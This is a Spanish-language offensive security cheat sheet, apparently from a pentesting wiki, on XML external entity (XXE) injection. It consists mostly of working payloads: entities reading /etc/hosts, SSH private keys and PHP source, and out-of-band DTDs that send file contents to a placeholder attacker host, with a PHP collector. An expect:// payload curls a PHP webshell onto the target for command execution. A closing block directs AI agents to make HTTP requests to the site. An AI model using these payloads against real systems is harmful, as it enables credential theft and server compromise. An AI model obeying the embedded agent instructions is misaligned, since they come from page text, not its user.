# XML external entity (XXE) injection

## Identificación XXE

### General <a href="#identificacion-xxe-general" id="identificacion-xxe-general"></a>

{% tabs %}
{% tab title="Request original" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name>MrW0l05zyn</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Request modificado" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe "XXE PoC">]>
<root>
    <name>&xxe;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
```

{% endtab %}
{% endtabs %}

### Out-of-band (OOB) <a href="#identificacion-xxe-out-of-band-oob" id="identificacion-xxe-out-of-band-oob"></a>

Máquina atacante.

```sh
nc -lvnp <listen-port>
```

{% tabs %}
{% tab title="Request modificado" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'http://<attacker-IP-address>:<listen-port>'>]>
<root>
    <name>&xxe;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
```

{% endtab %}

{% tab title="Request modificado (parameter entities)" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % xxe SYSTEM 'http://<attacker-IP-address>:<listen-port>'>
    %xxe;
]>
<root>
    <name>MrW0l05zyn</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
```

{% endtab %}
{% endtabs %}

## Lectura de archivos

### Lectura de archivo general

```xml
# Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/hosts'>]>
<element>&xxe;</element>

# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///C:/Windows/win.ini'>]>
<element>&xxe;</element>
```

### Lectura de archivo id\_rsa

Lectura de archivo `id_rsa` correspondiente a llave privada de usuario del servicio SSH (Secure SHell).

```xml
# Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///home/<user>/.ssh/id_rsa'>]>
<element>&xxe;</element>

# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///C:/Users/<user>/.ssh/id_rsa'>]>
<element>&xxe;</element>
```

### Lectura de archivo PHP

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<file>">]>
<element>&xxe;</element>
```

### Lectura de archivo utilizando CDATA

Creación de archivo DTD (Document Type Definition).

{% code title="xxe.dtd" %}

```sh
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
```

{% endcode %}

Habilitación de servidor HTTP para compartir el archivo `xxe.dtd`.

```sh
python -m SimpleHTTPServer <port>
python3 -m http.server <port>
```

Lectura de archivo.

{% hint style="info" %}
Es posible que no podamos leer algunos archivos (como index.php), ya que el servidor web evitaría un ataque de DOS causado por la autorreferencia de archivo/entidad (es decir, bucle de referencia de entidad XML).
{% endhint %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % begin "<![CDATA[">
    <!ENTITY % file SYSTEM "file:///etc/hosts">
    <!ENTITY % end "]]>">
    <!ENTITY % xxe SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %xxe;
]>
<root>
    <name>&joined;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
```

### Lectura de archivo basado en error

Creación de archivo DTD (Document Type Definition).

{% code title="xxe.dtd" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY &#37; exfil SYSTEM '%EntidadNoExistente;/%file;'>">
%error;
%exfil;
```

{% endcode %}

Habilitación de servidor HTTP para compartir el archivo `xxe.dtd`.

```sh
python -m SimpleHTTPServer <port>
python3 -m http.server <port>
```

Lectura de archivo.

```xml
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %remote;
]>
```

### Lectura de archivo basado en XInclude

```xml
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hosts"/></root>
```

### Lectura de archivo out-of-band (OOB)

#### HTTP <a href="#lectura-de-archivo-out-of-bound-blind-http" id="lectura-de-archivo-out-of-bound-blind-http"></a>

Creación de archivo DTD (Document Type Definition).

{% code title="xxe.dtd" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % oob "<!ENTITY &#37; exfil SYSTEM 'http://<attacker-IP-address>/?content=%file;'>" >
```

{% endcode %}

Habilitación de servidor PHP.

```sh
php -S 0.0.0.0:80
```

Lectura de archivo.

```xml
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %remote;
    %oob;
    %exfil;
]>
<root></root>
```

#### PHP (protocol) <a href="#lectura-de-archivo-out-of-bound-blind-php-protocol" id="lectura-de-archivo-out-of-bound-blind-php-protocol"></a>

Creación de archivo DTD (Document Type Definition).

{% code title="xxe.dtd" %}

```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<attacker-IP-address>/?content=%file;'>">
```

{% endcode %}

Creación de archivo `index.php`.

{% code title="index.php" %}

```php
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>
```

{% endcode %}

Habilitación de servidor PHP.

```sh
php -S 0.0.0.0:80
```

Lectura de archivo.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %remote;
    %oob;
]>
<root>&content;</root>
```

## XML external entity (XXE) injection a Remote Code Execution (RCE)

### Wrapper expect://

Creación de webshell.

{% code title="webshell.php" %}

```php
<?php system($_GET['cmd']); ?>
```

{% endcode %}

Habilitación de servidor HTTP para compartir el archivo `webshell.php`.

```sh
python -m SimpleHTTPServer <port>
python3 -m http.server <port>
```

Ejecución de cURL para descargar archivo `webshell.php` en el servidor.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'<attacker-IP-address>/webshell.php'">
]>
<root>
    <name>&xxe;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
```

Ejecución de comandos.

```sh
http://<target>/webshell.php?cmd=id
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web.mrw0l05zyn.cl/explotacion/xml-external-entity-xxe-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
